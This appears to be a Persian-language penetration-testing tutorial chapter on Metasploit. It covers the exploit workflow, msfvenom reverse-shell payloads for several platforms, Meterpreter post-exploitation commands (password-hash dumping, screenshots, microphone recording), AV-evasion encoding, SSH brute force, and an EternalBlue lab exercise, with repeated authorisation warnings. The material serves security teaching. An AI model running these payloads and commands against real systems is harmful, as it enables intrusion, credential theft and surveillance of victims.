</>

لینوکس‌پارسی

مرجع فارسی آموزش لینوکس

Gentoo • Arch • Debian • Ubuntu • Kali • Parrot
پرش به محتوای اصلی

Command Palette

Search for a command to run...

فصل ۵: استثمار با Metasploit

معماری Metasploit، msfconsole، گردش کار search-use-set-exploit، Meterpreter، msfvenom برای ساخت payload و db_nmap برای یکپارچه‌سازی با پایگاه‌داده Metasploit.

پیشرفته۲۰ دقیقه مطالعهآخرین بروزرسانی: ۸ تیر ۱۴۰۵ویرایش در گیت‌هاب

معماری Metasploit Framework#

Metasploit Framework (MSF) قدرتمندترین پلتفرم استثمار متن‌باز در جهان است که توسط شرکت Rapid7 نگهداری می‌شود. این ابزار به‌عنوان استاندارد طلایی در دوره‌هایی مانند OSCP و CEH تدریس می‌شود و تقریباً در هر پلتفرم تست نفوذی به‌صورت پیش‌فرض نصب است.

معماری MSF ماژولار است و شامل این بخش‌های اصلی است:

ماژولکاربردمثال
Exploitکدی که از آسیب‌پذیری سوءاستفاده می‌کندexploit/windows/smb/ms17_010_eternalblue
Payloadکدی که پس از استثمار اجرا می‌شودwindows/x64/meterpreter/reverse_tcp
Auxiliaryاسکنرها، اسنیفرها، فانرهاauxiliary/scanner/smb/smb_version
Postماژول‌های پس از استثمارpost/windows/gather/hashdump
Encoderرمزگذاری payload برای دور زدن AVx86/shikata_ga_nai
NOPتولید NOP sledx86/opty2

فقط روی اهداف مجاز

هر ماژول exploit در Metasploit می‌تواند به سرور هدف آسیب جدی بزند یا حتی آن را از کار بیندازد. EternalBlue و بسیاری از اکسپلویت‌های دیگر می‌توانند باعث BSOD شوند. فقط و فقط روی اهداف دارای اجازه کتبی استفاده کنید.

msfconsole — قلب Metasploit#

msfconsole رابط اصلی و قدرتمندترین راه استفاده از MSF است. برخلاف رابط‌های گرافیکی، کنسول امکان دسترسی به همه قابلیت‌ها را می‌دهد:

# راه‌اندازی
sudo msfconsole -q
 
# بررسی وضعیت پایگاه داده
msf6 > db_status
 
# کمک
msf6 > help

فلگ -q پیام خوش‌آمدگویی طولانی را حذف می‌کند.

گردش کار اصلی: search-use-set-exploit#

هر استثمار در MSF چهار مرحله اصلی دارد: جستجو، انتخاب، پیکربندی و اجرا.

مرحله ۱ — جستجو#

# جستجوی EternalBlue
msf6 > search eternalblue
 
# جستجوی دقیق‌تر
msf6 > search type:exploit platform:windows eternalblue
 
# جستجو بر اساس CVE
msf6 > search CVE-2017-0144

خروجی جستجو شامل رتبه (rank) است که نشان‌دهنده قابلیت اطمینان اکسپلویت است. رتبه excellent یعنی اکسپلویت تقریباً همیشه کار می‌کند و سرور را از کار نمی‌اندازد.

مرحله ۲ — انتخاب#

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 (exploit) > info
msf6 (exploit) > show options

مرحله ۳ — پیکربندی#

# تنظیم IP هدف
msf6 (exploit) > set RHOSTS 192.168.1.10
 
# تنظیم payload
msf6 (exploit) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
 
# تنظیم IP محلی برای شنود
msf6 (exploit) > set LHOST 192.168.1.5
 
# تنظیم پورت محلی
msf6 (exploit) > set LPORT 4444
 
# تنظیم تعداد_threads
msf6 (exploit) > set THREADS 10

مرحله ۴ — اجرا#

msf6 (exploit) > exploit
# یا خلاصه
msf6 (exploit) > run

اگر همه‌چیز خوب پیش برود، یک سشن Meterpreter باز می‌شود.

Meterpreter — پوسته پیشرفته#

Meterpreter (Meta-Interpreter) یک payload اختصاصی Metasploit است که در حافظه اجرا می‌شود (بدون نوشتن فایل روی دیسک) و ده‌ها دستور قدرتمند برای پس از استثمار دارد:

# اطلاعات سیستم
meterpreter > sysinfo
meterpreter > getuid
 
# گرفتن شل سیستم‌عامل
meterpreter > shell
 
# لیست فایل‌ها
meterpreter > ls
meterpreter > cd C:\\Users\\Administrator
meterpreter > pwd
 
# دانلود فایل
meterpreter > download C:\\secret.txt
 
# آپلود فایل
meterpreter > upload /home/kali/backdoor.exe C:\\Windows\\Temp\\
 
# اسکرین‌شات
meterpreter > screenshot
 
# ضبط از میکروفون
meterpreter > record_mic -d 30
 
# استخراج هش‌های رمز عبور (نیازمند SYSTEM)
meterpreter > hashdump
 
# لیست سشن‌های فعال
meterpreter > sessions -l
 
# رفتن به پس‌زمینه
meterpreter > background

Meterpreter در مقابل شل معمولی

Meterpreter مزایای بزرگی بر شل معمولی دارد: رمزنگاری TLS، اجرای در حافظه، قابلیت بازگشت پس از قطع شبکه، و دستورهای ساختیافته. همیشه تا می‌توانید از Meterpreter استفاده کنید و فقط در صورت نیاز به اسکریپت‌های بومی سیستم‌عامل، با shell به cmd/bash بروید.

msfvenom — ساخت Payload سفارشی#

گاهی اوقات لازم است payload خود را در قالب یک فایل قابل اجرا یا اسکریپت تولید کنید و آن را به‌صورت دستی روی هدف اجرا کنید. msfvenom ابزار انجام این کار است:

# اجرایی ویندوز ۶۴ بیتی
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
 
# اسکریپت PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o shell.php
 
# اجرایی لینوکس
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell.elf
 
# Python script
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py
 
# APK اندروید
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o backdoor.apk
 
# با انکودر برای دور زدن AV (کم‌اثر در سال ۲۰۲۶)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe

بعد از اجرای payload روی هدف، در msfconsole باید شنود را راه بیندازید:

msf6 > use exploit/multi/handler
msf6 (exploit) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 (exploit) > set LHOST 192.168.1.5
msf6 (exploit) > set LPORT 4444
msf6 (exploit) > run

AV مدرن و msfvenom

در سال ۲۰۲۶، انکودرهای کلاسیک مانند shikata_ga_nai توسط اکثر آنتی‌ویروس‌ها به‌سادگی شناسایی می‌شوند. برای دور زدن AV مدرن، باید از ابزارهایی مانند Shellter، Veil یا ساختن payload سفارشی با C و технику Obfuscation دستی استفاده کنید. آموزش این تکنیک‌ها خارج از محدوده این فصل است.

db_nmap — یکپارچه‌سازی Nmap با Metasploit#

یکی از قابلیت‌های کلیدی MSF، امکان اجرای Nmap از داخل کنسول و وارد کردن خودکار نتایج به پایگاه‌داده است:

# ساخت workspace جدید برای پروژه
msf6 > workspace -a client-project
 
# اجرای db_nmap
msf6 > db_nmap -sS -sV -O -p- 192.168.1.10
 
# مشاهده سرویس‌های کشف‌شده
msf6 > services
 
# مشاهده میزبان‌ها
msf6 > hosts
 
# مشاهده آسیب‌پذیری‌های احتمالی
msf6 > vulns
 
# وارد کردن فایل XML از قبل ساخته‌شده
msf6 > db_import /home/kali/scans/full_scan.xml

پس از db_nmap، می‌توانید با services سریعاً سرویس‌های کشف‌شده را ببینید و مستقیماً ماژول‌های متناظر را روی آن‌ها اجرا کنید.

ماژول‌های کمکی متداول#

# نسخه SMB
msf6 > use auxiliary/scanner/smb/smb_version
msf6 (auxiliary) > set RHOSTS 192.168.1.10
msf6 (auxiliary) > run
 
# شمارش کاربران SMB
msf6 > use auxiliary/scanner/smb/smb_enumusers
 
# brute-force SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 (auxiliary) > set RHOSTS 192.168.1.10
msf6 (auxiliary) > set USERNAME root
msf6 (auxiliary) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 (auxiliary) > run

جدول فرمان‌های پرکاربرد Metasploit#

دستورکاربرد
search nameجستجوی ماژول
use pathانتخاب ماژول
infoنمایش اطلاعات ماژول
show optionsنمایش گزینه‌ها
show payloadsلیست payloadهای سازگار
set NAME valueتنظیم گزینه
setg NAME valueتنظیم سراسری
run یا exploitاجرای ماژول
sessions -lلیست سشن‌ها
sessions -i 1ورود به سشن ۱
backgroundفرستادن سشن به پس‌زمینه
route add subnet mask sessionتونل از طریق سشن
workspace -a nameساخت فضای کاری جدید
db_nmapاجرای Nmap با ذخیره در DB
saveذخیره تنظیمات

تمرین عملی — EternalBlue#

روی یک ماشین Metasploitable-Windows یا ویندوز ۷ پچ‌نشده در شبکه محلی این جریان را اجرا کنید:

# 1. راه‌اندازی Metasploit
sudo msfconsole -q
 
# 2. ساخت workspace
msf6 > workspace -a eternalblue-lab
 
# 3. اسکن هدف
msf6 > db_nmap -sS -sV -p 445 192.168.56.102
 
# 4. انتخاب اکسپلویت
msf6 > use exploit/windows/smb/ms17_010_eternalblue
 
# 5. پیکربندی
msf6 (exploit) > set RHOSTS 192.168.56.102
msf6 (exploit) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 (exploit) > set LHOST 192.168.56.1
msf6 (exploit) > set LPORT 4444
 
# 6. اجرا
msf6 (exploit) > exploit
 
# 7. پس از ورود
meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump
meterpreter > screenshot

اگر موفق شوید، یک Meterpreter روی ویندوز ۷ خواهید داشت. روی یک ماشین واقعی، هرگز بدون اجازه این کار را نکنید.

خلاصه و گام بعدی#

در این فصل، با معماری Metasploit و گردش کار اصلی آن آشنا شدید و یاد گرفتید که چگونه با Meterpreter یک سشن پایدار روی هدف بسازید و با msfvenom payloadهای سفارشی تولید کنید. MSF ابزاری قدرتمند است اما هرگز نباید جای فهم عمیق مکانیزم استثمار را بگیرد.

در فصل بعد، با هک وب‌اپلیکیشن آشنا می‌شوید؛ جایی که با Burp Suite، SQL Injection، XSS و دیگر حملات متداول وب، اپلیکیشن‌های تحت وب را هدف قرار می‌دهید.

اشتراک‌گذاری:

این صفحه در تاریخ ۸ تیر ۱۴۰۵ به‌روزرسانی شده است.